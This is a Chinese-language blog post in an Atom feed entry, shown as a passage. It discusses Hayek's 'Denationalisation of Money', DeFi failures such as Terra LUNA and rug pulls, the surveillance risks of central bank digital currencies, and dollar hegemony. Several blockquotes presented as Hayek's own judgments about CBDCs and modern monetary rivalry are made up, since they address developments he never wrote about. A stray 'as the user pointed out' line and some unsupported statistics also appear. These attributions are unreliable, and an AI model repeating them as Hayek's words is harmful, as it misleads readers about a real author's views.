经济周期理论的根本性修正</h3><p><strong>哈耶克的核心发现</strong>：经济周期的根源不在于市场失灵，而在于政府货币垄断。</p><p><strong>传统观点的错误</strong>：</p><ul><li><strong>市场失灵论</strong>：认为自由市场容易导致周期性波动</li><li><strong>政府干预论</strong>：主张政府应该通过货币政策熨平周期</li><li><strong>凯恩斯主义</strong>：强调需求管理和政府调控的重要性</li></ul><p><strong>哈耶克的替代解释</strong>：</p><p><strong>政府货币政策导致周期的机制</strong>：</p><ol><li><strong>人为低利率</strong>：政府压低利率刺激投资</li><li><strong>投资扭曲</strong>：错误的价格信号导致过度投资</li><li><strong>资源错配</strong>：投资流向不符合消费者偏好的领域</li><li><strong>泡沫破裂</strong>：当真实情况暴露时，经济必然收缩</li></ol><p><strong>竞争货币的优势</strong>：</p><ul><li><strong>真实利率</strong>：竞争性货币反映真实的供求关系</li><li><strong>价格信号</strong>：市场价格准确传递稀缺性信息</li><li><strong>资源配置</strong>：投资流向真正有需求的领域</li><li><strong>平稳发展</strong>：避免人为的繁荣-萧条循环</li></ul><pre><code class="highlight mermaid">graph TD    subgraph &quot;政府货币垄断下的经济周期&quot;        A[人为压低利率] --&gt; B[错误的价格信号];        B --&gt; C[&quot;投资扭曲与资源错配&lt;br&gt;(过度投资于资本品等)&quot;];        C --&gt; D[短暂的虚假繁荣];        D --&gt; E[&quot;泡沫破裂与经济收缩&lt;br&gt;(萧条)&quot;];    end    subgraph &quot;竞争性货币下的经济&quot;        F[市场决定真实利率] --&gt; G[准确的价格信号];        G --&gt; H[资源有效配置];        H --&gt; I[可持续的平稳发展];    end    style E fill:#ff9999    style I fill:#99ff99</code></pre><p><strong>历史证据支持</strong>：</p><ul><li><strong>金本位时期</strong>：19世纪金本位下的经济相对稳定</li><li><strong>央行成立后</strong>：20世纪央行成立后周期波动加剧</li><li><strong>现代验证</strong>：1970年代后经济波动与货币政策的关系</li></ul><h2 id="六、现代意义：从理论到实践的转换">六、现代意义：从理论到实践的转换</h2><h3 id="6-1-伟大的加密货币实验：数字时代的哈耶克思想">6.1 伟大的加密货币实验：数字时代的哈耶克思想</h3><p>哈耶克的思想在提出时被认为是激进的乌托邦。然而，近半个世纪后，区块链技术和去中心化金融（DeFi）的兴起，无意中开启了一场规模空前的“自然实验”，将他的理论付诸实践。本节将探讨这场实验的历程：从技术带来的希望，到残酷的现实，再到我们从中得到的深刻教训。</p><h4 id="第一部分：希望的曙光——技术让不可能成为可能">第一部分：希望的曙光——技术让不可能成为可能</h4><p>在哈耶克的时代，私人货币竞争面临着难以逾越的技术障碍。但区块链技术似乎为这一切提供了完美的解决方案：</p><ul><li><strong>去中心化发行</strong>：比特币的诞生证明了，货币可以在没有中央机构的情况下被创造和维护，其发行规则由不可篡改的算法（而非政治承诺）来保证。</li><li><strong>完全透明</strong>：所有交易记录公开可查，为前所未有的监督提供了可能。</li><li><strong>全球自由竞争</strong>：加密货币天生无国界，可以在全球范围内自由流通和竞争，让市场进行选择。</li></ul><p>从理论上看，这似乎正是哈耶克所设想的，一个由技术驱动、摆脱政府控制的货币竞争新纪元。</p><h4 id="第二部分：残酷的现实——当理想遭遇人性">第二部分：残酷的现实——当理想遭遇人性</h4><p>然而，当DeFi的潘多拉魔盒被打开后，出现的并非一个良性竞争的理想国，而是一个混乱、投机且充满危险的“狂野西部”。哈耶克的理论假设与残酷的现实发生了激烈碰撞。</p><p><strong>哈耶克假设的现实检验：DeFi的残酷教训</strong></p><pre><code class="highlight mermaid">graph TD    subgraph &quot;哈耶克理论假设&quot;        A1[理性用户选择] --&gt; A2[市场快速淘汰劣币]        A2 --&gt; A3[竞争提升质量]        A3 --&gt; A4[声誉约束发币方]        A4 --&gt; A5[良性循环]    end    subgraph &quot;DeFi现实情况&quot;        B1[贪婪驱动决策] --&gt; B2[Rug项目快速收割]        B2 --&gt; B3[欺诈技术创新]        B3 --&gt; B4[匿名性规避声誉]        B4 --&gt; B5[恶性循环]    end    A1 -.-&gt;|现实对比| B1    A2 -.-&gt;|现实对比| B2    A3 -.-&gt;|现实对比| B3    A4 -.-&gt;|现实对比| B4    B1 --&gt; C1[Terra LUNA案例&lt;br/&gt;20%年化收益诱惑]    B2 --&gt; C2[2022年50亿美元损失&lt;br/&gt;项目平均存活2-3个月]    B3 --&gt; C3[从简单Ponzi到&lt;br/&gt;复杂算法包装]    B4 --&gt; C4[匿名开发者&lt;br/&gt;跨链逃避责任]    C1 --&gt; D[理论假设失效]    C2 --&gt; D    C3 --&gt; D    C4 --&gt; D    style A5 fill:#ccffcc    style B5 fill:#ffcccc    style D fill:#ffffcc</code></pre><p>哈耶克的理想模型在现实中几乎全面失效：</p><ol><li><strong>理性选择 vs. 贪婪驱动</strong>：哈耶克假设用户会理性选择最稳定的货币。现实是，大量用户被Terra LUNA承诺的20%年化收益等高回报承诺所吸引，忽视了其内在风险，最终导致数百亿美元的资产灰飞烟灭。</li><li><strong>良币驱逐劣币 vs. 欺诈横行</strong>：哈耶克相信市场会快速淘汰劣币。现实是，匿名性和监管真空使得“Rug Pull”（卷款跑路）成为常态。据统计，仅2022年就有约50亿美元因此类骗局损失，欺诈项目方往往在声誉机制生效前就已完成收割并消失。</li><li><strong>质量提升 vs. 欺诈创新</strong>：哈耶克期望竞争能提升货币质量。现实是，竞争也催生了“欺诈的内卷”，骗局从简单的庞氏模型演变为包装着复杂算法和“革命性”叙事的项目，营销手段也日益精进。</li><li><strong>声誉约束 vs. 匿名规避</strong>：哈耶克依赖声誉作为核心约束。现实是，DeFi项目的匿名开发者可以轻松规避声誉损失，这与需要数十年建立信誉的传统银行形成鲜明对比。</li></ol><h4 id="第三部分：深刻的教训——理论为何会失灵？">第三部分：深刻的教训——理论为何会失灵？</h4><p>DeFi实验的失败揭示了哈耶克理论模型中的几个关键盲点，这些盲点对于理解任何市场制度都至关重要。</p><p><strong>教训一：货币功能的异化——从交换媒介到投机筹码</strong><br>在DeFi世界里，绝大多数“货币”并未履行其基本职能：</p><ul><li><strong>价值储存</strong>：价格的剧烈波动使其无法成为可靠的价值储存手段（99%的代币在一年内价值下跌超过80%）。</li><li><strong>交换媒介</strong>：很少被用于日常交易，其价值更多体现在交易所的流动性上。</li><li><strong>计价单位</strong>：所有项目仍以美元计价，没有任何代币成为独立的计价标准。<br>最终，这些所谓的“货币”异化为纯粹的投机工具，其设计目标从“更好用”变成了“更好炒”。</li></ul><p><strong>教训二：人性的复杂性——被低估的非理性力量</strong><br>哈耶克的模型建立在“理性经济人”的假设之上，但DeFi实验暴露了人性的复杂性：</p><ul><li><strong>贪婪压倒理性</strong>：对高收益的渴望，让人们忽视了最基本的风险评估。</li><li><strong>短期主义盛行</strong>：投资者更关心短期价格波动而非项目的长期价值。</li><li><strong>从众心理（FOMO）</strong>：羊群效应的影响力远远超过了独立的理性分析。</li></ul><p><strong>教训三：信息的鸿沟——技术复杂性成为欺诈的温床</strong><br>哈耶克设想的市场依赖于信息的有效传递，但区块链技术的复杂性制造了巨大的信息鸿沟：</p><ul><li><strong>普通用户难以甄别</strong>：代码即法律，但绝大多数用户看不懂代码，只能依赖项目方的包装和营销。</li><li><strong>审计的局限性</strong>：即使是经过专业审计的项目，也可能存在隐藏的逻辑漏洞或经济模型缺陷。</li><li><strong>监督机制滞后</strong>：技术的快速迭代使得监管和第三方监督难以跟上。</li></ul><p><strong>教训四：制度基础的缺失——自由不能建立在真空中</strong><br>哈耶克批判政府垄断，但他可能低估了一个稳定市场所必需的制度基础：</p><ul><li><strong>准入门槛的缺失</strong>：任何人都可以匿名发币，为欺诈者敞开了大门。</li><li><strong>行为约束的缺失</strong>：缺乏有效的机制来防止市场操纵和内幕交易。</li><li><strong>救济机制的缺失</strong>：用户一旦被骗，几乎没有任何追索渠道。</li><li><strong>外部性的忽视</strong>：单个项目的崩溃可能引发连锁反应（如Terra崩盘引发的系统性危机），其社会成本由整个生态系统承担。</li></ul><h4 id="第四部分：结论——在理想与现实之间寻求平衡">第四部分：结论——在理想与现实之间寻求平衡</h4><p>DeFi这场伟大的实验并未完全证伪哈耶克。他对政府货币垄断的批判依然尖锐而深刻。然而，实验结果确实表明，他所设想的、完全无约束的自由竞争解决方案，本身也存在致命的缺陷。</p><p>货币并非普通商品，它依赖于信任、网络效应和制度保障。纯粹的技术和市场竞争无法凭空创造出这一切。</p><p>DeFi的教训告诉我们，未来的道路可能不在于“政府垄断”和“无政府竞争”的二元对立，而在于如何在二者之间找到一个更优的平衡点。这或许意味着需要建立一个包含<strong>有序准入、强制透明、规则清晰、权责明确</strong>的竞争框架。</p><p>哈耶克的思想为我们指明了“为何要变革”的方向，而DeFi的实践则以惨痛的代价告诉我们“如何变革”可能需要更多的智慧和审慎。这场未完成的革命，仍在继续。</p><h3 id="6-2-央行数字货币（CBDC）的双重性质">6.2 央行数字货币（CBDC）的双重性质</h3><p><strong>CBDC的本质分析：是技术创新还是垄断强化？</strong></p><p>哈耶克在分析货币制度时特别强调要区分技术手段和制度本质。CBDC正是这种区分的典型案例。</p><p><strong>技术层面的进步</strong>：</p><p><strong>效率提升的具体机制</strong>：</p><ul><li><strong>即时结算</strong>：传统央行货币需要通过银行间清算系统，可能需要数小时或数天<blockquote><p>例如：中国的DCEP测试显示，跨行转账可在秒级完成，远超传统SWIFT系统的数天周期</p></blockquote></li><li><strong>降低成本</strong>：减少现金印制、运输、保管等物理成本<blockquote><p>数据支撑：美联储每年在现金管理上花费约12亿美元，CBDC可显著降低这部分支出</p></blockquote></li><li><strong>金融包容性</strong>：为无银行账户人群提供数字支付服务<blockquote><p>应用案例：巴哈马的&quot;Sand Dollar&quot;项目覆盖了传统银行难以到达的偏远岛屿</p></blockquote></li></ul><p><strong>但哈耶克会质疑：技术进步能否弥补制度缺陷？</strong></p><p><strong>制度本质的深层分析</strong>：</p><p><strong>垄断权力的数字化强化</strong>：</p><ol><li><p><strong>信息垄断的升级</strong>：</p><ul><li><strong>传统现金</strong>：政府无法追踪每笔现金交易</li><li><strong>CBDC</strong>：每笔交易都在央行数据库中留下永久记录</li><li><strong>哈耶克的担忧</strong>：这种&quot;完美监控&quot;能力远超历史上任何政府</li></ul></li><li><p><strong>货币政策工具的精准化</strong>：</p><ul><li><strong>负利率的直接实施</strong>：可对特定账户或地区实施差别化利率</li><li><strong>消费引导</strong>：通过设置使用期限强制资金流向特定领域</li><li><strong>哈耶克的预测</strong>：政府将利用这些工具进行更细致的经济干预</li></ul></li></ol><p><strong>具体案例分析：中国DCEP的实践</strong></p><p><strong>设计特点</strong>：</p><ul><li><strong>双层运营体系</strong>：央行发行给银行，银行分发给公众</li><li><strong>可控匿名</strong>：对央行透明，对第三方匿名</li><li><strong>离线支付</strong>：不依赖网络连接即可完成交易</li></ul><p><strong>哈耶克视角的评估</strong>：</p><p><strong>正面效应</strong>：</p><ul><li><strong>效率确实提升</strong>：支付速度和便利性显著改善</li><li><strong>成本确实降低</strong>：减少了现金处理成本</li><li><strong>技术领先性</strong>：在CBDC技术方面确实走在世界前列</li></ul><p><strong>深层担忧</strong>：</p><ul><li><strong>竞争机制缺失</strong>：DCEP仍是政府垄断发行，不允许真正的货币竞争</li><li><strong>隐私权衡</strong>：虽然声称&quot;可控匿名&quot;，但政府仍然拥有完整的交易数据</li><li><strong>替代效应</strong>：可能挤出支付宝、微信支付等市场化支付创新</li></ul><p><strong>CBDC的具体危险性分析</strong>：</p><p>哈耶克所指的&quot;更加危险&quot;体现在以下几个层面：</p><p><strong>1. 经济控制的精准化危险</strong>：</p><p><strong>传统货币政策的局限性</strong>：</p><ul><li><strong>间接影响</strong>：央行只能通过利率、准备金率等工具间接影响经济</li><li><strong>滞后效应</strong>：政策传导需要通过银行体系，存在时间延迟</li><li><strong>覆盖有限</strong>：无法精确影响到每个个体的经济行为</li></ul><p><strong>CBDC赋予的新能力</strong>：</p><ul><li><strong>直接干预</strong>：可以对每个账户实施不同的利率政策<blockquote><p>危险场景：政府可以对不同政治立场的群体实施不同的&quot;惩罚性利率&quot;</p></blockquote></li><li><strong>即时生效</strong>：政策可以瞬间影响到每个用户<blockquote><p>危险场景：经济危机时，政府可以瞬间&quot;冻结&quot;特定群体的资金</p></blockquote></li><li><strong>精准打击</strong>：可以限制资金的使用范围和时间<blockquote><p>危险场景：设置&quot;消费导向&quot;，强制资金只能用于政府认可的商品</p></blockquote></li></ul><p><strong>2. 隐私侵犯的彻底化危险</strong>：</p><p><strong>现金时代的隐私保护</strong>：</p><ul><li><strong>匿名性</strong>：现金交易政府无法追踪</li><li><strong>自主性</strong>：个人可以选择不留下数字痕迹</li><li><strong>多元化</strong>：可以通过多种支付方式保持隐私</li></ul><p><strong>CBDC的全面监控</strong>：</p><ul><li><strong>交易透明</strong>：每笔交易都记录在央行数据库<blockquote><p>具体危险：政府知道你买了什么书、去了哪家医院、支持了哪个候选人</p></blockquote></li><li><strong>行为预测</strong>：通过消费模式分析个人行为和政治倾向<blockquote><p>具体危险：AI分析消费数据，预测谁可能参与抗议活动</p></blockquote></li><li><strong>社会控制</strong>：基于支付行为对个人进行社会信用评级<blockquote><p>具体危险：购买&quot;不当&quot;书籍或捐款给&quot;敏感&quot;组织可能影响信用评分</p></blockquote></li></ul><p><strong>3. 金融排斥的制度化危险</strong>：</p><p><strong>传统金融体系的&quot;缺陷&quot;反而是保护</strong>：</p><ul><li><strong>系统复杂性</strong>：多层级银行体系提供了缓冲</li><li><strong>法律程序</strong>：冻结账户需要司法程序</li><li><strong>替代选择</strong>：可以使用现金或其他支付方式</li></ul><p><strong>CBDC的集中风险</strong>：</p><ul><li><strong>一键关闭</strong>：政府可以瞬间关闭任何人的支付能力<blockquote><p>具体场景：疫情期间对&quot;违规&quot;人员瞬间断绝支付能力</p></blockquote></li><li><strong>无需司法程序</strong>：技术上的便利可能绕过法律程序<blockquote><p>具体场景：算法自动识别&quot;可疑交易&quot;并立即冻结</p></blockquote></li><li><strong>无替代选择</strong>：如果CBDC成为唯一合法货币，被排斥者将完全失去经济参与能力</li></ul><p><strong>4. 民主制衡的弱化危险</strong>：</p><p><strong>传统货币政策的制衡机制</strong>：</p><ul><li><strong>国会监督</strong>：重大货币政策需要国会批准或听证</li><li><strong>司法审查</strong>：极端措施可能面临法院挑战</li><li><strong>媒体监督</strong>：政策效果可以被观察和批评</li><li><strong>市场约束</strong>：过度干预会导致资本外流</li></ul><p><strong>CBDC的&quot;技术独裁&quot;风险</strong>：</p><p><strong>算法政策的不透明性</strong>：</p><ul><li><strong>技术黑箱</strong>：算法决策难以被外界理解和监督<blockquote><p>具体危险：以&quot;技术中性&quot;为名实施政治性货币政策</p></blockquote></li><li><strong>实时调整</strong>：政策可以随时微调，难以追踪和问责<blockquote><p>具体危险：悄无声息地对不同群体实施差别化政策</p></blockquote></li><li><strong>数据垄断</strong>：只有政府掌握完整的经济数据，外界难以验证政策效果<blockquote><p>具体危险：政府可以选择性公布数据，操纵公众认知</p></blockquote></li></ul><p><strong>&quot;千人千价&quot;的精准控制风险</strong>：</p><p>正如用户所指出的，CBDC可能实现&quot;用户千人千价&quot;，这种能力的危险性在于：</p><pre><code class="highlight mermaid">graph TD    A[CBDC系统] --&gt; B[用户画像分析]    B --&gt; C[政治立场识别]    B --&gt; D[社会信用评分]    B --&gt; E[消费行为分析]    B --&gt; F[地理位置追踪]    C --&gt; G[差别利率政策]    D --&gt; H[购买力限制]    E --&gt; I[消费引导机制]    F --&gt; J[地域差别政策]    G --&gt; K[支持者: 负利率&lt;br/&gt;反对者: 高利率]    H --&gt; L[信用高: 优惠&lt;br/&gt;信用低: 限制]    I --&gt; M[正能量商品: 折扣&lt;br/&gt;敏感商品: 惩罚]    J --&gt; N[发达地区: 优惠&lt;br/&gt;问题地区: 约束]    K --&gt; O[政治控制]    L --&gt; O    M --&gt; O    N --&gt; O    O --&gt; P[数字威权主义]    style A fill:#ff9999    style B fill:#ffcc99    style O fill:#ff6666    style P fill:#cc0000,color:#ffffff</code></pre><p><strong>个性化货币政策的实施机制</strong>：</p><ul><li><strong>差别利率</strong>：根据用户政治立场、社会信用等因素设定不同的利率<blockquote><p>危险场景：支持政府的群体享受负利率，反对者面临高利率</p></blockquote></li><li><strong>定向消费引导</strong>：通过设置不同的购买力限制，引导特定消费行为<blockquote><p>危险场景：购买&quot;正能量&quot;商品时享受折扣，购买&quot;敏感&quot;商品时面临惩罚性费率</p></blockquote></li><li><strong>地域性差别政策</strong>：对不同地区实施不同的货币政策<blockquote><p>危险场景：经济发达地区享受优惠政策，&quot;问题&quot;地区面临货币约束</p></blockquote></li></ul><p><strong>政策直接传导的即时性风险</strong>：</p><p><strong>传统货币政策的缓冲机制</strong>：</p><ul><li><strong>银行中介</strong>：政策需要通过银行体系传导，存在时间缓冲</li><li><strong>市场消化</strong>：市场有时间理解、消化和反应政策变化</li><li><strong>舆论监督</strong>：政策变化有时间被媒体发现和讨论</li></ul><p><strong>CBDC的直接传导</strong>：</p><ul><li><strong>瞬时生效</strong>：政策可以直接作用于每个账户，无需中介<blockquote><p>危险：政府可以在民众毫无准备的情况下实施政策</p></blockquote></li><li><strong>无法对冲</strong>：用户无法通过传统金融工具规避政策影响<blockquote><p>危险：完全失去政策风险的对冲手段</p></blockquote></li><li><strong>信息滞后</strong>：用户可能在政策生效后才发现被&quot;调整&quot;<blockquote><p>危险：事后才发现自己成为政策实验的对象</p></blockquote></li></ul><p><strong>行为和政治倾向的全面监控</strong>：</p><p><strong>数据收集的全面性</strong>：</p><ul><li><strong>消费模式分析</strong>：通过支付数据分析个人偏好和政治倾向</li><li><strong>社交网络重建</strong>：通过转账记录重建社会关系网络</li><li><strong>行为预测模型</strong>：AI分析预测个人未来行为</li></ul><p><strong>控制手段的精准性</strong>：</p><ul><li><strong>预防性限制</strong>：在&quot;问题&quot;行为发生前就实施限制</li><li><strong>关联责任</strong>：对&quot;问题人员&quot;的关联人群实施连带措施</li><li><strong>社会信用整合</strong>：支付行为直接影响社会信用评分</li></ul><p><strong>与传统货币的对比分析</strong>：</p><p><strong>传统货币时代的政策限制</strong>：</p><ul><li><strong>重大变更需要国会批准</strong>：如货币政策框架调整、汇率制度改变</li><li><strong>公开透明的决策过程</strong>：央行会议纪要、政策声明需要公开</li><li><strong>可预期的政策路径</strong>：政策变化通常有前瞻指引</li></ul><p><strong>CBDC时代的政策特点</strong>：</p><ul><li><strong>密不透风的技术调整</strong>：算法参数修改可能完全不被外界察觉</li><li><strong>选择性信息公布</strong>：政府可以只公布有利信息，隐瞒不利数据</li><li><strong>操纵公众认知</strong>：通过技术手段影响用户行为，再用行为变化&quot;证明&quot;政策正确性</li></ul><p><strong>哈耶克的预见性判断</strong>：</p><blockquote><p>“技术进步可能使政府的控制能力达到历史上任何极权政府都无法企及的水平。CBDC将经济控制和政治控制完美结合，创造出一种新型的数字威权主义。”</p></blockquote><p><strong>历史类比：魏玛共和国的教训</strong></p><p>哈耶克对CBDC危险性的担忧可以从历史中找到依据：</p><p><strong>魏玛共和国的货币武器化</strong>：</p><ul><li><strong>1923年恶性通胀</strong>：政府为了偿还战争赔款大量印钞</li><li><strong>社会撕裂</strong>：通胀摧毁了中产阶级，为极端主义铺平道路</li><li><strong>民主崩溃</strong>：经济危机最终导致民主制度的垮台</li></ul><p><strong>CBDC时代的潜在风险</strong>：<br>如果魏玛政府拥有CBDC技术，可能的后果：</p><ul><li><strong>精准剥夺</strong>：直接从&quot;敌对群体&quot;账户转移财富</li><li><strong>即时控制</strong>：瞬间切断反对派的经济来源</li><li><strong>完美监控</strong>：提前识别和镇压反对声音</li></ul><p><strong>哈耶克的根本判断</strong>：</p><blockquote><p>“CBDC将政府对经济的控制能力提升到了历史上前所未有的水平。虽然这种能力在’善意’政府手中可能带来效率，但一旦被滥用，其破坏力将远超传统货币政策。技术进步放大了权力，但没有相应地放大对权力的制约。”</p></blockquote><p><strong>现实案例验证</strong>：</p><p><strong>中国社会信用体系的启示</strong>：</p><ul><li><strong>支付行为与信用评分挂钩</strong>：支付宝的芝麻信用已经影响贷款、出行等</li><li><strong>消费监控的现实化</strong>：政府可以通过支付数据了解个人生活细节</li><li><strong>行为引导的精准化</strong>：通过信用奖惩机制引导特定消费行为</li></ul><p>这些现实已经展现了CBDC潜在危险的雏形，验证了哈耶克的担忧。</p><h3 id="6-3-全球货币体系的演变：竞争的局限性">6.3 全球货币体系的演变：竞争的局限性</h3><p><strong>国际货币体系中的&quot;准竞争&quot;现象</strong></p><p>哈耶克理想中的货币竞争是指同一市场内多种货币的自由竞争，但当前国际货币体系呈现的是&quot;国家间货币竞争&quot;，这与他的理想模式存在本质区别。</p><pre><code class="highlight mermaid">graph TD    subgraph &quot;哈耶克的理想：真正的货币竞争&quot;        A1[多元私人主体发行] --&gt; A2[基于质量和信誉的市场选择];        A2 --&gt; A3[约束: 客户流失、破产风险];        A3 --&gt; A4[结果: 货币质量提升、币值稳定];    end    subgraph &quot;现实世界：国家间的准竞争&quot;        B1[主权国家发行] --&gt; B2[基于政治、军事、经济实力的地缘博弈];        B2 --&gt; B3[约束: 国际制裁、贸易战、政治压力];        B3 --&gt; B4[结果: 货币霸权、政治工具化];    end    style A4 fill:#99ff99    style B4 fill:#ffcc99</code></pre><p><strong>美元霸权的形成机制与挑战</strong></p><p><strong>霸权形成的历史逻辑</strong>：</p><ol><li><p><strong>布雷顿森林体系（1944-1971）</strong>：</p><ul><li><strong>制度优势</strong>：美元与黄金挂钩，其他货币与美元挂钩</li><li><strong>网络效应</strong>：一旦确立，使用美元的国家越多，使用美元的便利性就越高</li><li><strong>哈耶克的分析</strong>：这是&quot;政治决定的垄断&quot;，而非市场选择的结果</li></ul></li><li><p><strong>石油美元体系（1973年起）</strong>：</p><ul><li><strong>具体安排</strong>：沙特等产油国只接受美元支付石油，并将石油美元投资于美国国债</li><li><strong>垄断机制</strong>：石油作为必需品，强制全球使用美元进行能源贸易</li><li><strong>哈耶克视角</strong>：这是通过政治安排维持货币垄断的典型案例</li></ul></li></ol><p><strong>当前挑战的实质分析</strong>：</p><p><strong>人民币国际化的进展与局限</strong>：</p><p><strong>进展数据</strong>：</p><ul><li><strong>贸易结算</strong>：2023年人民币在全球贸易结算中占比约4.5%，位居第五</li><li><strong>储备货币</strong>：在全球外汇储备中占比约2.7%</li><li><strong>SWIFT系统</strong>：人民币在SWIFT支付中占比约3.2%</li></ul><p><strong>具体推进机制</strong>：</p><ul><li><strong>双边货币互换</strong>：中国与30多个国家签署了货币互换协议</li><li><strong>人民币清算行</strong>：在全球29个国家和地区设立人民币清算行</li><li><strong>数字人民币试点</strong>：在&quot;一带一路&quot;国家进行跨境支付测试</li></ul><p><strong>哈耶克理论的检验</strong>：</p><p><strong>部分验证</strong>：</p><ul><li><strong>竞争压力确实存在</strong>：美联储政策制定时确实需要考虑其他主要央行的反应</li><li><strong>市场选择机制初现</strong>：投资者确实会根据货币政策质量调整储备货币配置</li><li><strong>约束效应显现</strong>：过度宽松的货币政策确实会导致资本外流</li></ul><p><strong>但存在根本局限</strong>：</p><ol><li><p><strong>政治化程度极高</strong>：</p><ul><li><strong>制裁工具化</strong>：美国将SWIFT系统作为经济制裁工具</li><li><strong>地缘政治影响</strong>：俄乌冲突后俄罗斯被排除出SWIFT系统</li><li><strong>哈耶克的担忧得到印证</strong>：国家货币竞争难以摆脱政治干预</li></ul></li><li><p><strong>准入门槛极高</strong>：</p><ul><li><strong>经济规模要求</strong>：只有GDP排名前列的国家货币才能参与国际竞争</li><li><strong>军事实力背书</strong>：货币信誉往往与国家军事实力密切相关</li><li><strong>这与哈耶克设想的自由竞争相距甚远</strong></li></ul></li><li><p><strong>网络效应的固化</strong>：</p><ul><li><strong>路径依赖</strong>：一旦形成主导地位，优势会自我强化</li><li><strong>转换成本高昂</strong>：改变储备货币结构需要承担巨大成本</li><li><strong>市场失灵</strong>：即使出现更优货币，也难以撼动既有霸权</li></ul></li></ol><p><strong>欧洲货币联盟的案例分析</strong>：</p><p><strong>统一货币的实验</strong>：</p><ul><li><strong>初衷</strong>：通过统一货币减少汇率风险，促进贸易一体化</li><li><strong>成就</strong>：确实成为仅次于美元的第二大国际储备货币</li><li><strong>问题</strong>：欧债危机暴露了统一货币政策与分散财政政策的内在矛盾</li></ul><p><strong>哈耶克视角的评价</strong>：</p><ul><li><strong>积极方面</strong>：欧元确实与美元形成了一定程度的竞争关系</li><li><strong>消极方面</strong>：欧元本质上仍是政府垄断货币，只是垄断层级提高到了超国家层面</li><li><strong>根本问题</strong>：没有解决货币政策的政治化问题，反而在危机时暴露了更严重的政治协调困难</li></ul><p><strong>哈耶克的深层洞察</strong>：</p><blockquote><p>“国际货币竞争虽然比国内货币垄断略好，但仍然是政府间的竞争，而非真正的市场竞争。只要货币发行权掌握在政府手中，就难免受到政治因素的干扰，无法实现纯粹的经济效率。”</p></blockquote><h2 id="七、结论：思想的力量与现实的挑战">七、结论：思想的力量与现实的挑战</h2><h3 id="7-1-哈耶克理论的核心贡献">7.1 哈耶克理论的核心贡献</h3><p><strong>思维方式的革命</strong>：<br>哈耶克最大的贡献不在于提供了现成的政策方案，而在于彻底改变了我们思考货币问题的方式。他从根本上质疑了一个被普遍接受的假设——政府必须垄断货币发行，并通过严密的逻辑论证和丰富的历史证据，展示了这个假设的脆弱性。</p><p><strong>制度设计的创新</strong>：<br>哈耶克不仅批判了现有制度，更重要的是提出了替代方案。他详细设计了私人货币竞争的运作机制，从激励结构到约束机制，从价值锚定到监督体系，构建了一个完整的制度框架。</p><p><strong>理论体系的重构</strong>：<br>通过对法币概念、货币数量论、经济周期理论的重新审视，哈耶克实际上在构建一套全新的货币理论体系，为理解现代金融体系提供了新的分析工具。</p><h3 id="7-2-从理论到实践的距离">7.2 从理论到实践的距离</h3><p><strong>技术可行性的提升</strong>：<br>数字货币和区块链技术的发展，使得哈耶克的设想在技术上变得可行。去中心化的货币体系不再是理论假设，而是现实存在。</p><p><strong>政治可行性的挑战</strong>：<br>但政治层面的阻力依然巨大。政府不会轻易放弃货币垄断权，既得利益集团也会竭力维护现状。哈耶克的理论要转化为现实政策，还需要更大的政治和社会变革。</p><p><strong>社会接受度的演变</strong>：<br>随着对传统货币体系缺陷认识的加深，以及新一代对数字技术的熟悉，社会对货币竞争的接受度正在提高。这为哈耶克思想的实践创造了条件。</p><h3 id="7-3-对当代的启示">7.3 对当代的启示</h3><p><strong>政策制定的启示</strong>：<br>即使无法完全实现货币非国家化，哈耶克的思想也为改进现有制度提供了方向：加强央行独立性、增强货币政策透明度、引入竞争机制等。</p><p><strong>学术研究的启示</strong>：<br>哈耶克的方法论——从基本假设出发，通过历史分析和逻辑推理挑战既有观念——为经济学研究提供了重要启发。</p><p><strong>公民教育的启示</strong>：<br>理解货币的本质，认识政府政策的局限性，培养对制度设计的批判思维，这些都是现代公民应该具备的素养。</p><h3 id="7-4-未完成的革命">7.4 未完成的革命</h3><p>哈耶克在《货币的非国家化》中开启的是一场思想革命，这场革命至今仍在进行中。比特币的兴起、央行数字货币的研发、国际货币体系的演变，都可以看作是这场革命的不同阶段。</p><p><strong>历史的讽刺</strong>：<br>1976年被认为&quot;政治上不可能&quot;的建议，在今天看来具有惊人的前瞻性。这提醒我们，真正重要的思想往往超越其时代，需要历史的检验才能显现其价值。</p><p><strong>现实的复杂性</strong>：<br>从理论到实践的道路充满挑战，但这并不减损理论本身的价值。正如哈耶克所说，经济学家的任务是&quot;使得今天在政治上看起来不可能的事情具有政治上的可能性&quot;。</p><p><strong>未来的可能性</strong>：<br>也许完全的货币非国家化永远不会实现，但哈耶克的思想已经在改变世界。它启发了无数的创新者和改革者，推动了货币制度的演进，为人类探索更好的经济制度提供了宝贵的思想资源。</p><p><strong>最终的意义</strong>：<br>《货币的非国家化》的真正价值不在于预测未来，而在于拓展可能性。它告诉我们，现存的制度安排并非不可改变，通过深入的思考和大胆的想象，我们可以设计出更好的制度。这种思想的解放，本身就是对人类文明的重要贡献。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/finance/denationalization-of-money/</id>
    <link href="https://www.blog-blockchain.xyz/finance/denationalization-of-money/"/>
    <published>2025-07-05T05:26:20.000Z</published>
    <summary>本文通过深入分析哈耶克《货币的非国家化》的论证逻辑、历史依据和制度设计，展现了这一思想体系的内在逻辑和现代意义。哈耶克不仅是在提出一个激进的政策建议，更是在构建一套全新的货币理论框架，挑战我们对货币、政府和市场关系的基本认知。在数字货币蓬勃发展的今天，重新审视这一经典理论，不仅有助于理解当前金融变革的深层逻辑，更能为未来制度创新提供思想指引。</summary>
    <title>哈耶克《货币的非国家化》：思维的突破与论证的力量</title>
    <updated>2026-02-19T16:18:48.929Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="financial-analysis" scheme="https://www.blog-blockchain.xyz/categories/financial-analysis/"/>
    <category term="quantitative-finance" scheme="https://www.blog-blockchain.xyz/tags/quantitative-finance/"/>
    <category term="portfolio-theory" scheme="https://www.blog-blockchain.xyz/tags/portfolio-theory/"/>
    <category term="prediction-market" scheme="https://www.blog-blockchain.xyz/tags/prediction-market/"/>
    <category term="risk-management" scheme="https://www.blog-blockchain.xyz/tags/risk-management/"/>
    <category term="mathematical-modeling" scheme="https://www.blog-blockchain.xyz/tags/mathematical-modeling/"/>
    <content>
